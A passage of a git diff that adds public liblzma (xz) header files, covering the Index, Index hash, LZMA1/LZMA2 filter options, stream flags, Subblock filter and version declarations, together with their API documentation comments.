will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_BUF_ERROR: Output buffer is too small. Use + * lzma_index_size() to find out how much output + * space is needed. + * - LZMA_PROG_ERROR + * + * \note This function doesn't take allocator argument since all + * the internal data is allocated on stack. + */ +extern LZMA_API(lzma_ret) lzma_index_buffer_encode(lzma_index *i, + uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow; + + +/** + * \brief Single-call .xz Index decoder + * + * \param i Pointer to a pointer that will be made to point + * to the final decoded Index if decoding is + * successful. That is, lzma_index_buffer_decode() + * always takes care of allocating a new + * lzma_index structure, and *i doesn't need to be + * initialized by the caller. + * \param memlimit Pointer to how much memory the resulting Index + * is allowed to require. The value pointed by + * this pointer is modified if and only if + * LZMA_MEMLIMIT_ERROR is returned. + * \param allocator Pointer to lzma_allocator, or NULL to use malloc() + * \param in Beginning of the input buffer + * \param in_pos The next byte will be read from in[*in_pos]. + * *in_pos is updated only if decoding succeeds. + * \param in_size Size of the input buffer; the first byte that + * won't be read is in[in_size]. + * + * \return - LZMA_OK: Decoding was successful. + * - LZMA_MEM_ERROR + * - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached. + * The minimum required memlimit value was stored to *memlimit. + * - LZMA_DATA_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_index_buffer_decode(lzma_index **i, + uint64_t *memlimit, lzma_allocator *allocator, + const uint8_t *in, size_t *in_pos, size_t in_size) + lzma_nothrow; diff --git a/igor/xz/lzma/index_hash.h b/igor/xz/lzma/index_hash.h new file mode 100644 index 0000000..94726e7 --- /dev/null +++ b/igor/xz/lzma/index_hash.h @@ -0,0 +1,107 @@ +/** + * \file lzma/index_hash.h + * \brief Validates Index by using a hash function + * + * Hashing makes it possible to use constant amount of memory to validate + * Index of arbitrary size. + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + +/** + * \brief Opaque data type to hold the Index hash + */ +typedef struct lzma_index_hash_s lzma_index_hash; + + +/** + * \brief Allocate and initialize a new lzma_index_hash structure + * + * If index_hash is NULL, a new lzma_index_hash structure is allocated, + * initialized, and a pointer to it returned. If allocation fails, NULL + * is returned. + * + * If index_hash is non-NULL, it is reinitialized and the same pointer + * returned. In this case, return value cannot be NULL or a different + * pointer than the index_hash that was given as an argument. + */ +extern LZMA_API(lzma_index_hash *) lzma_index_hash_init( + lzma_index_hash *index_hash, lzma_allocator *allocator) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Deallocate lzma_index_hash structure + */ +extern LZMA_API(void) lzma_index_hash_end( + lzma_index_hash *index_hash, lzma_allocator *allocator) + lzma_nothrow; + + +/** + * \brief Add a new Record to an Index hash + * + * \param index Pointer to a lzma_index_hash structure + * \param unpadded_size Unpadded Size of a Block + * \param uncompressed_size Uncompressed Size of a Block + * + * \return - LZMA_OK + * - LZMA_DATA_ERROR: Compressed or uncompressed size of the + * Stream or size of the Index field would grow too big. + * - LZMA_PROG_ERROR: Invalid arguments or this function is being + * used when lzma_index_hash_decode() has already been used. + */ +extern LZMA_API(lzma_ret) lzma_index_hash_append(lzma_index_hash *index_hash, + lzma_vli unpadded_size, lzma_vli uncompressed_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode and validate the Index field + * + * After telling the sizes of all Blocks with lzma_index_hash_append(), + * the actual Index field is decoded with this function. Specifically, + * once decoding of the Index field has been started, no more Records + * can be added using lzma_index_hash_append(). + * + * This function doesn't use lzma_stream structure to pass the input data. + * Instead, the input buffer is specified using three arguments. This is + * because it matches better the internal APIs of liblzma. + * + * \param index_hash Pointer to a lzma_index_hash structure + * \param in Pointer to the beginning of the input buffer + * \param in_pos in[*in_pos] is the next byte to process + * \param in_size in[in_size] is the first byte not to process + * + * \return - LZMA_OK: So far good, but more input is needed. + * - LZMA_STREAM_END: Index decoded successfully and it matches + * the Records given with lzma_index_hash_append(). + * - LZMA_DATA_ERROR: Index is corrupt or doesn't match the + * information given with lzma_index_hash_append(). + * - LZMA_BUF_ERROR: Cannot progress because *in_pos >= in_size. + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_index_hash_decode(lzma_index_hash *index_hash, + const uint8_t *in, size_t *in_pos, size_t in_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Get the size of the Index field as bytes + * + * This is needed to verify the Backward Size field in the Stream Footer. + */ +extern LZMA_API(lzma_vli) lzma_index_hash_size( + const lzma_index_hash *index_hash) + lzma_nothrow lzma_attr_pure; diff --git a/igor/xz/lzma/lzma.h b/igor/xz/lzma/lzma.h new file mode 100644 index 0000000..28ebbb1 --- /dev/null +++ b/igor/xz/lzma/lzma.h @@ -0,0 +1,410 @@ +/** + * \file lzma/lzma.h + * \brief LZMA1 and LZMA2 filters + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief LZMA1 Filter ID + * + * LZMA1 is the very same thing as what was called just LZMA in LZMA Utils, + * 7-Zip, and LZMA SDK. It's called LZMA1 here to prevent developers from + * accidentally using LZMA when they actually want LZMA2. + * + * LZMA1 shouldn't be used for new applications unless you _really_ know + * what you are doing. LZMA2 is almost always a better choice. + */ +#define LZMA_FILTER_LZMA1 LZMA_VLI_C(0x4000000000000001) + +/** + * \brief LZMA2 Filter ID + * + * Usually you want this instead of LZMA1. Compared to LZMA1, LZMA2 adds + * support for LZMA_SYNC_FLUSH, uncompressed chunks (smaller expansion + * when trying to compress uncompressible data), possibility to change + * lc/lp/pb in the middle of encoding, and some other internal improvements. + */ +#define LZMA_FILTER_LZMA2 LZMA_VLI_C(0x21) + + +/** + * \brief Match finders + * + * Match finder has major effect on both speed and compression ratio. + * Usually hash chains are faster than binary trees. + * + * The memory usage formulas are only rough estimates, which are closest to + * reality when dict_size is a power of two. The formulas are more complex + * in reality, and can also change a little between liblzma versions. Use + * lzma_memusage_encoder() to get more accurate estimate of memory usage. + */ +typedef enum { + LZMA_MF_HC3 = 0x03, + /**< + * \brief Hash Chain with 2- and 3-byte hashing + * + * Minimum nice_len: 3 + * + * Memory usage: + * - dict_size <= 16 MiB: dict_size * 7.5 + * - dict_size > 16 MiB: dict_size * 5.5 + 64 MiB + */ + + LZMA_MF_HC4 = 0x04, + /**< + * \brief Hash Chain with 2-, 3-, and 4-byte hashing + * + * Minimum nice_len: 4 + * + * Memory usage: dict_size * 7.5 + */ + + LZMA_MF_BT2 = 0x12, + /**< + * \brief Binary Tree with 2-byte hashing + * + * Minimum nice_len: 2 + * + * Memory usage: dict_size * 9.5 + */ + + LZMA_MF_BT3 = 0x13, + /**< + * \brief Binary Tree with 2- and 3-byte hashing + * + * Minimum nice_len: 3 + * + * Memory usage: + * - dict_size <= 16 MiB: dict_size * 11.5 + * - dict_size > 16 MiB: dict_size * 9.5 + 64 MiB + */ + + LZMA_MF_BT4 = 0x14 + /**< + * \brief Binary Tree with 2-, 3-, and 4-byte hashing + * + * Minimum nice_len: 4 + * + * Memory usage: dict_size * 11.5 + */ +} lzma_match_finder; + + +/** + * \brief Test if given match finder is supported + * + * Return true if the given match finder is supported by this liblzma build. + * Otherwise false is returned. It is safe to call this with a value that + * isn't listed in lzma_match_finder enumeration; the return value will be + * false. + * + * There is no way to list which match finders are available in this + * particular liblzma version and build. It would be useless, because + * a new match finder, which the application developer wasn't aware, + * could require giving additional options to the encoder that the older + * match finders don't need. + */ +extern LZMA_API(lzma_bool) lzma_mf_is_supported(lzma_match_finder match_finder) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Compression modes + * + * This selects the function used to analyze the data produced by the match + * finder. + */ +typedef enum { + LZMA_MODE_FAST = 1, + /**< + * \brief Fast compression + * + * Fast mode is usually at its best when combined with + * a hash chain match finder. + */ + + LZMA_MODE_NORMAL = 2 + /**< + * \brief Normal compression + * + * This is usually notably slower than fast mode. Use this + * together with binary tree match finders to expose the + * full potential of the LZMA1 or LZMA2 encoder. + */ +} lzma_mode; + + +/** + * \brief Test if given compression mode is supported + * + * Return true if the given compression mode is supported by this liblzma + * build. Otherwise false is returned. It is safe to call this with a value + * that isn't listed in lzma_mode enumeration; the return value will be false. + * + * There is no way to list which modes are available in this particular + * liblzma version and build. It would be useless, because a new compression + * mode, which the application developer wasn't aware, could require giving + * additional options to the encoder that the older modes don't need. + */ +extern LZMA_API(lzma_bool) lzma_mode_is_supported(lzma_mode mode) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Options specific to the LZMA1 and LZMA2 filters + * + * Since LZMA1 and LZMA2 share most of the code, it's simplest to share + * the options structure too. For encoding, all but the reserved variables + * need to be initialized unless specifically mentioned otherwise. + * + * For raw decoding, both LZMA1 and LZMA2 need dict_size, preset_dict, and + * preset_dict_size (if preset_dict != NULL). LZMA1 needs also lc, lp, and pb. + */ +typedef struct { + /** + * \brief Dictionary size in bytes + * + * Dictionary size indicates how many bytes of the recently processed + * uncompressed data is kept in memory. One method to reduce size of + * the uncompressed data is to store distance-length pairs, which + * indicate what data to repeat from the dictionary buffer. Thus, + * the bigger the dictionary, the better the compression ratio + * usually is. + * + * Maximum size of the dictionary depends on multiple things: + * - Memory usage limit + * - Available address space (not a problem on 64-bit systems) + * - Selected match finder (encoder only) + * + * Currently the maximum dictionary size for encoding is 1.5 GiB + * (i.e. (UINT32_C(1) << 30) + (UINT32_C(1) << 29)) even on 64-bit + * systems for certain match finder implementation reasons. In the + * future, there may be match finders that support bigger + * dictionaries. + * + * Decoder already supports dictionaries up to 4 GiB - 1 B (i.e. + * UINT32_MAX), so increasing the maximum dictionary size of the + * encoder won't cause problems for old decoders. + * + * Because extremely small dictionaries sizes would have unneeded + * overhead in the decoder, the minimum dictionary size is 4096 bytes. + * + * \note When decoding, too big dictionary does no other harm + * than wasting memory. + */ + uint32_t dict_size; +# define LZMA_DICT_SIZE_MIN UINT32_C(4096) +# define LZMA_DICT_SIZE_DEFAULT (UINT32_C(1) << 23) + + /** + * \brief Pointer to an initial dictionary + * + * It is possible to initialize the LZ77 history window using + * a preset dictionary. It is useful when compressing many + * similar, relatively small chunks of data independently from + * each other. The preset dictionary should contain typical + * strings that occur in the files being compressed. The most + * probable strings should be near the end of the preset dictionary. + * + * This feature should be used only in special situations. For + * now, it works correctly only with raw encoding and decoding. + * Currently none of the container formats supported by + * liblzma allow preset dictionary when decoding, thus if + * you create a .xz or .lzma file with preset dictionary, it + * cannot be decoded with the regular decoder functions. In the + * future, the .xz format will likely get support for preset + * dictionary though. + */ + const uint8_t *preset_dict; + + /** + * \brief Size of the preset dictionary + * + * Specifies the size of the preset dictionary. If the size is + * bigger than dict_size, only the last dict_size bytes are + * processed. + * + * This variable is read only when preset_dict is not NULL. + * If preset_dict is not NULL but preset_dict_size is zero, + * no preset dictionary is used (identical to only setting + * preset_dict to NULL). + */ + uint32_t preset_dict_size; + + /** + * \brief Number of literal context bits + * + * How many of the highest bits of the previous uncompressed + * eight-bit byte (also known as `literal') are taken into + * account when predicting the bits of the next literal. + * + * \todo Example + * + * There is a limit that applies to literal context bits and literal + * position bits together: lc + lp <= 4. Without this limit the + * decoding could become very slow, which could have security related + * results in some cases like email servers doing virus scanning. + * This limit also simplifies the internal implementation in liblzma. + * + * There may be LZMA1 streams that have lc + lp > 4 (maximum possible + * lc would be 8). It is not possible to decode such streams with + * liblzma. + */ + uint32_t lc; +# define LZMA_LCLP_MIN 0 +# define LZMA_LCLP_MAX 4 +# define LZMA_LC_DEFAULT 3 + + /** + * \brief Number of literal position bits + * + * How many of the lowest bits of the current position (number + * of bytes from the beginning of the uncompressed data) in the + * uncompressed data is taken into account when predicting the + * bits of the next literal (a single eight-bit byte). + * + * \todo Example + */ + uint32_t lp; +# define LZMA_LP_DEFAULT 0 + + /** + * \brief Number of position bits + * + * How many of the lowest bits of the current position in the + * uncompressed data is taken into account when estimating + * probabilities of matches. A match is a sequence of bytes for + * which a matching sequence is found from the dictionary and + * thus can be stored as distance-length pair. + * + * Example: If most of the matches occur at byte positions of + * 8 * n + 3, that is, 3, 11, 19, ... set pb to 3, because 2**3 == 8. + */ + uint32_t pb; +# define LZMA_PB_MIN 0 +# define LZMA_PB_MAX 4 +# define LZMA_PB_DEFAULT 2 + + /** + * \brief Indicate if the options structure is persistent + * + * If this is true, the application must keep this options structure + * available after the LZMA2 encoder has been initialized. With + * persistent structure it is possible to change some encoder options + * in the middle of the encoding process without resetting the encoder. + * + * This option is used only by LZMA2. LZMA1 ignores this and it is + * safe to not initialize this when encoding with LZMA1. + */ + lzma_bool persistent; + + /** Compression mode */ + lzma_mode mode; + + /** + * \brief Nice length of a match + * + * This determines how many bytes the encoder compares from the match + * candidates when looking for the best match. Once a match of at + * least nice_len bytes long is found, the encoder stops looking for + * better condidates and encodes the match. (Naturally, if the found + * match is actually longer than nice_len, the actual length is + * encoded; it's not truncated to nice_len.) + * + * Bigger values usually increase the compression ratio and + * compression time. For most files, 32 to 128 is a good value, + * which gives very good compression ratio at good speed. + * + * The exact minimum value depends on the match finder. The maximum + * is 273, which is the maximum length of a match that LZMA1 and + * LZMA2 can encode. + */ + uint32_t nice_len; + + /** Match finder ID */ + lzma_match_finder mf; + + /** + * \brief Maximum search depth in the match finder + * + * For every input byte, match finder searches through the hash chain + * or binary tree in a loop, each iteration going one step deeper in + * the chain or tree. The searching stops if + * - a match of at least nice_len bytes long is found; + * - all match candidates from the hash chain or binary tree have + * been checked; or + * - maximum search depth is reached. + * + * Maximum search depth is needed to prevent the match finder from + * wasting too much time in case there are lots of short match + * candidates. On the other hand, stopping the search before all + * candidates have been checked can reduce compression ratio. + * + * Setting depth to zero tells liblzma to use an automatic default + * value, that depends on the selected match finder and nice_len. + * The default is in the range [10, 200] or so (it may vary between + * liblzma versions). + * + * Using a bigger depth value than the default can increase + * compression ratio in some cases. There is no strict maximum value, + * but high values (thousands or millions) should be used with care: + * the encoder could remain fast enough with typical input, but + * malicious input could cause the match finder to slow down + * dramatically, possibly creating a denial of service attack. + */ + uint32_t depth; + + /* + * Reserved space to allow possible future extensions without + * breaking the ABI. You should not touch these, because the names + * of these variables may change. These are and will never be used + * with the currently supported options, so it is safe to leave these + * uninitialized. + */ + void *reserved_ptr1; + void *reserved_ptr2; + uint32_t reserved_int1; + uint32_t reserved_int2; + uint32_t reserved_int3; + uint32_t reserved_int4; + uint32_t reserved_int5; + uint32_t reserved_int6; + uint32_t reserved_int7; + uint32_t reserved_int8; + lzma_reserved_enum reserved_enum1; + lzma_reserved_enum reserved_enum2; + lzma_reserved_enum reserved_enum3; + lzma_reserved_enum reserved_enum4; + +} lzma_options_lzma; + + +/** + * \brief Set a compression preset to lzma_options_lzma structure + * + * 0 is the fastest and 9 is the slowest. These match the switches -0 .. -9 + * of the xz command line tool. In addition, it is possible to bitwise-or + * flags to the preset. Currently only LZMA_PRESET_EXTREME is supported. + * The flags are defined in container.h, because the flags are used also + * with lzma_easy_encoder(). + * + * The preset values are subject to changes between liblzma versions. + * + * This function is available only if LZMA1 or LZMA2 encoder has been enabled + * when building liblzma. + */ +extern LZMA_API(lzma_bool) lzma_lzma_preset( + lzma_options_lzma *options, uint32_t preset) lzma_nothrow; diff --git a/igor/xz/lzma/stream_flags.h b/igor/xz/lzma/stream_flags.h new file mode 100644 index 0000000..d255bdd --- /dev/null +++ b/igor/xz/lzma/stream_flags.h @@ -0,0 +1,227 @@ +/** + * \file lzma/stream_flags.h + * \brief .xz Stream Header and Stream Footer encoder and decoder + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Size of Stream Header and Stream Footer + * + * Stream Header and Stream Footer have the same size and they are not + * going to change even if a newer version of the .xz file format is + * developed in future. + */ +#define LZMA_STREAM_HEADER_SIZE 12 + + +/** + * \brief Options for encoding/decoding Stream Header and Stream Footer + */ +typedef struct { + /** + * \brief Stream Flags format version + * + * To prevent API and ABI breakages if new features are needed in + * Stream Header or Stream Footer, a version number is used to + * indicate which fields in this structure are in use. For now, + * version must always be zero. With non-zero version, the + * lzma_stream_header_encode() and lzma_stream_footer_encode() + * will return LZMA_OPTIONS_ERROR. + * + * lzma_stream_header_decode() and lzma_stream_footer_decode() + * will always set this to the lowest value that supports all the + * features indicated by the Stream Flags field. The application + * must check that the version number set by the decoding functions + * is supported by the application. Otherwise it is possible that + * the application will decode the Stream incorrectly. + */ + uint32_t version; + + /** + * \brief Backward Size + * + * Backward Size must be a multiple of four bytes. In this Stream + * format version, Backward Size is the size of the Index field. + * + * Backward Size isn't actually part of the Stream Flags field, but + * it is convenient to include in this structure anyway. Backward + * Size is present only in the Stream Footer. There is no need to + * initialize backward_size when encoding Stream Header. + * + * lzma_stream_header_decode() always sets backward_size to + * LZMA_VLI_UNKNOWN so that it is convenient to use + * lzma_stream_flags_compare() when both Stream Header and Stream + * Footer have been decoded. + */ + lzma_vli backward_size; +# define LZMA_BACKWARD_SIZE_MIN 4 +# define LZMA_BACKWARD_SIZE_MAX (LZMA_VLI_C(1) << 34) + + /** + * \brief Check ID + * + * This indicates the type of the integrity check calculated from + * uncompressed data. + */ + lzma_check check; + + /* + * Reserved space to allow possible future extensions without + * breaking the ABI. You should not touch these, because the + * names of these variables may change. + * + * (We will never be able to use all of these since Stream Flags + * is just two bytes plus Backward Size of four bytes. But it's + * nice to have the proper types when they are needed.) + */ + lzma_reserved_enum reserved_enum1; + lzma_reserved_enum reserved_enum2; + lzma_reserved_enum reserved_enum3; + lzma_reserved_enum reserved_enum4; + lzma_reserved_enum reserved_enum5; + lzma_reserved_enum reserved_enum6; + lzma_bool reserved_bool1; + lzma_bool reserved_bool2; + lzma_bool reserved_bool3; + lzma_bool reserved_bool4; + lzma_bool reserved_bool5; + lzma_bool reserved_bool6; + lzma_bool reserved_bool7; + lzma_bool reserved_bool8; + uint32_t reserved_int1; + uint32_t reserved_int2; + uint32_t reserved_int3; + uint32_t reserved_int4; + +} lzma_stream_flags; + + +/** + * \brief Encode Stream Header + * + * \param options Stream Header options to be encoded. + * options->backward_size is ignored and doesn't + * need to be initialized. + * \param out Beginning of the output buffer of + * LZMA_STREAM_HEADER_SIZE bytes. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_OPTIONS_ERROR: options->version is not supported by + * this liblzma version. + * - LZMA_PROG_ERROR: Invalid options. + */ +extern LZMA_API(lzma_ret) lzma_stream_header_encode( + const lzma_stream_flags *options, uint8_t *out) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Encode Stream Footer + * + * \param options Stream Footer options to be encoded. + * \param out Beginning of the output buffer of + * LZMA_STREAM_HEADER_SIZE bytes. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_OPTIONS_ERROR: options->version is not supported by + * this liblzma version. + * - LZMA_PROG_ERROR: Invalid options. + */ +extern LZMA_API(lzma_ret) lzma_stream_footer_encode( + const lzma_stream_flags *options, uint8_t *out) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode Stream Header + * + * \param options Stream Header options to be encoded. + * \param in Beginning of the input buffer of + * LZMA_STREAM_HEADER_SIZE bytes. + * + * options->backward_size is always set to LZMA_VLI_UNKNOWN. This is to + * help comparing Stream Flags from Stream Header and Stream Footer with + * lzma_stream_flags_compare(). + * + * \return - LZMA_OK: Decoding was successful. + * - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given + * buffer cannot be Stream Header. + * - LZMA_DATA_ERROR: CRC32 doesn't match, thus the header + * is corrupt. + * - LZMA_OPTIONS_ERROR: Unsupported options are present + * in the header. + * + * \note When decoding .xz files that contain multiple Streams, it may + * make sense to print "file format not recognized" only if + * decoding of the Stream Header of the _first_ Stream gives + * LZMA_FORMAT_ERROR. If non-first Stream Header gives + * LZMA_FORMAT_ERROR, the message used for LZMA_DATA_ERROR is + * probably more appropriate. + * + * For example, Stream decoder in liblzma uses LZMA_DATA_ERROR if + * LZMA_FORMAT_ERROR is returned by lzma_stream_header_decode() + * when decoding non-first Stream. + */ +extern LZMA_API(lzma_ret) lzma_stream_header_decode( + lzma_stream_flags *options, const uint8_t *in) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode Stream Footer + * + * \param options Stream Header options to be encoded. + * \param in Beginning of the input buffer of + * LZMA_STREAM_HEADER_SIZE bytes. + * + * \return - LZMA_OK: Decoding was successful. + * - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given + * buffer cannot be Stream Footer. + * - LZMA_DATA_ERROR: CRC32 doesn't match, thus the Stream Footer + * is corrupt. + * - LZMA_OPTIONS_ERROR: Unsupported options are present + * in Stream Footer. + * + * \note If Stream Header was already decoded successfully, but + * decoding Stream Footer returns LZMA_FORMAT_ERROR, the + * application should probably report some other error message + * than "file format not recognized", since the file more likely + * is corrupt (possibly truncated). Stream decoder in liblzma + * uses LZMA_DATA_ERROR in this situation. + */ +extern LZMA_API(lzma_ret) lzma_stream_footer_decode( + lzma_stream_flags *options, const uint8_t *in) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Compare two lzma_stream_flags structures + * + * backward_size values are compared only if both are not + * LZMA_VLI_UNKNOWN. + * + * \return - LZMA_OK: Both are equal. If either had backward_size set + * to LZMA_VLI_UNKNOWN, backward_size values were not + * compared or validated. + * - LZMA_DATA_ERROR: The structures differ. + * - LZMA_OPTIONS_ERROR: version in either structure is greater + * than the maximum supported version (currently zero). + * - LZMA_PROG_ERROR: Invalid value, e.g. invalid check or + * backward_size. + */ +extern LZMA_API(lzma_ret) lzma_stream_flags_compare( + const lzma_stream_flags *a, const lzma_stream_flags *b) + lzma_nothrow lzma_attr_pure; diff --git a/igor/xz/lzma/subblock.h b/igor/xz/lzma/subblock.h new file mode 100644 index 0000000..4ffb049 --- /dev/null +++ b/igor/xz/lzma/subblock.h @@ -0,0 +1,200 @@ +/** + * \file lzma/subblock.h + * \brief Subblock filter + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Filter ID + * + * Filter ID of the Subblock filter. This is used as lzma_filter.id. + */ +#define LZMA_FILTER_SUBBLOCK LZMA_VLI_C(0x01) + + +/** + * \brief Subfilter mode + * + * See lzma_options_subblock.subfilter_mode for details. + */ +typedef enum { + LZMA_SUBFILTER_NONE, + /**< + * No Subfilter is in use. + */ + + LZMA_SUBFILTER_SET, + /**< + * New Subfilter has been requested to be initialized. + */ + + LZMA_SUBFILTER_RUN, + /**< + * Subfilter is active. + */ + + LZMA_SUBFILTER_FINISH + /**< + * Subfilter has been requested to be finished. + */ +} lzma_subfilter_mode; + + +/** + * \brief Options for the Subblock filter + * + * Specifying options for the Subblock filter is optional: if the pointer + * options is NULL, no subfilters are allowed and the default value is used + * for subblock_data_size. + */ +typedef struct { + /* Options for encoder and decoder */ + + /** + * \brief Allowing subfilters + * + * If this true, subfilters are allowed. + * + * In the encoder, if this is set to false, subfilter_mode and + * subfilter_options are completely ignored. + */ + lzma_bool allow_subfilters; + + /* Options for encoder only */ + + /** + * \brief Alignment + * + * The Subblock filter encapsulates the input data into Subblocks. + * Each Subblock has a header which takes a few bytes of space. + * When the output of the Subblock encoder is fed to another filter + * that takes advantage of the alignment of the input data (e.g. LZMA), + * the Subblock filter can add padding to keep the actual data parts + * in the Subblocks aligned correctly. + * + * The alignment should be a positive integer. Subblock filter will + * add enough padding between Subblocks so that this is true for + * every payload byte: + * input_offset % alignment == output_offset % alignment + * + * The Subblock filter assumes that the first output byte will be + * written to a position in the output stream that is properly + * aligned. This requirement is automatically met when the start + * offset of the Stream or Block is correctly told to Block or + * Stream encoder. + */ + uint32_t alignment; +# define LZMA_SUBBLOCK_ALIGNMENT_MIN 1 +# define LZMA_SUBBLOCK_ALIGNMENT_MAX 32 +# define LZMA_SUBBLOCK_ALIGNMENT_DEFAULT 4 + + /** + * \brief Size of the Subblock Data part of each Subblock + * + * This value is re-read every time a new Subblock is started. + * + * Bigger values + * - save a few bytes of space; + * - increase latency in the encoder (but no effect for decoding); + * - decrease memory locality (increased cache pollution) in the + * encoder (no effect in decoding). + */ + uint32_t subblock_data_size; +# define LZMA_SUBBLOCK_DATA_SIZE_MIN 1 +# define LZMA_SUBBLOCK_DATA_SIZE_MAX (UINT32_C(1) << 28) +# define LZMA_SUBBLOCK_DATA_SIZE_DEFAULT 4096 + + /** + * \brief Run-length encoder remote control + * + * The Subblock filter has an internal run-length encoder (RLE). It + * can be useful when the data includes byte sequences that repeat + * very many times. The RLE can be used also when a Subfilter is + * in use; the RLE will be applied to the output of the Subfilter. + * + * Note that in contrast to traditional RLE, this RLE is intended to + * be used only when there's a lot of data to be repeated. If the + * input data has e.g. 500 bytes of NULs now and then, this RLE + * is probably useless, because plain LZMA should provide better + * results. + * + * Due to above reasons, it was decided to keep the implementation + * of the RLE very simple. When the rle variable is non-zero, it + * subblock_data_size must be a multiple of rle. Once the Subblock + * encoder has got subblock_data_size bytes of input, it will check + * if the whole buffer of the last subblock_data_size can be + * represented with repeats of chunks having size of rle bytes. + * + * If there are consecutive identical buffers of subblock_data_size + * bytes, they will be encoded using a single repeat entry if + * possible. + * + * If need arises, more advanced RLE can be implemented later + * without breaking API or ABI. + */ + uint32_t rle; +# define LZMA_SUBBLOCK_RLE_OFF 0 +# define LZMA_SUBBLOCK_RLE_MIN 1 +# define LZMA_SUBBLOCK_RLE_MAX 256 + + /** + * \brief Subfilter remote control + * + * When the Subblock filter is initialized, this variable must be + * LZMA_SUBFILTER_NONE or LZMA_SUBFILTER_SET. + * + * When subfilter_mode is LZMA_SUBFILTER_NONE, the application may + * put Subfilter options to subfilter_options structure, and then + * set subfilter_mode to LZMA_SUBFILTER_SET. No new input data will + * be read until the Subfilter has been enabled. Once the Subfilter + * has been enabled, liblzma will set subfilter_mode to + * LZMA_SUBFILTER_RUN. + * + * When subfilter_mode is LZMA_SUBFILTER_RUN, the application may + * set subfilter_mode to LZMA_SUBFILTER_FINISH. All the input + * currently available will be encoded before unsetting the + * Subfilter. Application must not change the amount of available + * input until the Subfilter has finished. Once the Subfilter has + * finished, liblzma will set subfilter_mode to LZMA_SUBFILTER_NONE. + * + * If the intent is to have Subfilter enabled to the very end of + * the data, it is not needed to separately disable Subfilter with + * LZMA_SUBFILTER_FINISH. Using LZMA_FINISH as the second argument + * of lzma_code() will make the Subblock encoder to disable the + * Subfilter once all the data has been ran through the Subfilter. + * + * After the first call with LZMA_SYNC_FLUSH or LZMA_FINISH, the + * application must not change subfilter_mode until LZMA_STREAM_END. + * Setting LZMA_SUBFILTER_SET/LZMA_SUBFILTER_FINISH and + * LZMA_SYNC_FLUSH/LZMA_FINISH _at the same time_ is fine. + * + * \note This variable is ignored if allow_subfilters is false. + */ + lzma_subfilter_mode subfilter_mode; + + /** + * \brief Subfilter and its options + * + * When no Subfilter is used, the data is copied as is into Subblocks. + * Setting a Subfilter allows encoding some parts of the data with + * an additional filter. It is possible to many different Subfilters + * in the same Block, although only one can be used at once. + * + * \note This variable is ignored if allow_subfilters is false. + */ + lzma_filter subfilter_options; + +} lzma_options_subblock; diff --git a/igor/xz/lzma/version.h b/igor/xz/lzma/version.h new file mode 100644 index 0000000..36b7952 --- /dev/null +++ b/igor/xz/lzma/version.h @@ -0,0 +1,121 @@ +/** + * \file lzma/version.h + * \brief Version number + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/* + * Version number splitted in components + */ +#define LZMA_VERSION_MAJOR 4 +#define LZMA_VERSION_MINOR 999 +#define LZMA_VERSION_PATCH 9 +#define LZMA_VERSION_STABILITY LZMA_VERSION_STABILITY_BETA + +#ifndef LZMA_VERSION_COMMIT +# define LZMA_VERSION_COMMIT "" +#endif + + +/* + * Map symbolic stability levels to integers. + */ +#define LZMA_VERSION_STABILITY_ALPHA 0 +#define LZMA_VERSION_STABILITY_BETA 1 +#define LZMA_VERSION_STABILITY_STABLE 2 + + +/** + * \brief Compile-time version number + * + * The version number is of format xyyyzzzs where + * - x = major + * - yyy = minor + * - zzz = revision + * - s indicates stability: 0 = alpha, 1 = beta, 2 = stable + * + * The same xyyyzzz triplet is never reused with different stability levels. + * For example, if 5.1.0alpha has been released, there will never be 5.1.0beta + * or 5.1.0 stable. + * + * \note The version number of liblzma has nothing to with + * the version number of Igor Pavlov's LZMA SDK. + */ +#define LZMA_VERSION (LZMA_VERSION_MAJOR * UINT32_C(10000000) \ + + LZMA_VERSION_MINOR * UINT32_C(10000) \ + + LZMA_VERSION_PATCH * UINT32_C(10) \ + + LZMA_VERSION_STABILITY) + + +/* + * Macros to construct the compile-time version string + */ +#if LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_ALPHA +# define LZMA_VERSION_STABILITY_STRING "alpha" +#elif LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_BETA +# define LZMA_VERSION_STABILITY_STRING "beta" +#elif LZMA_VERSION_STABILITY == 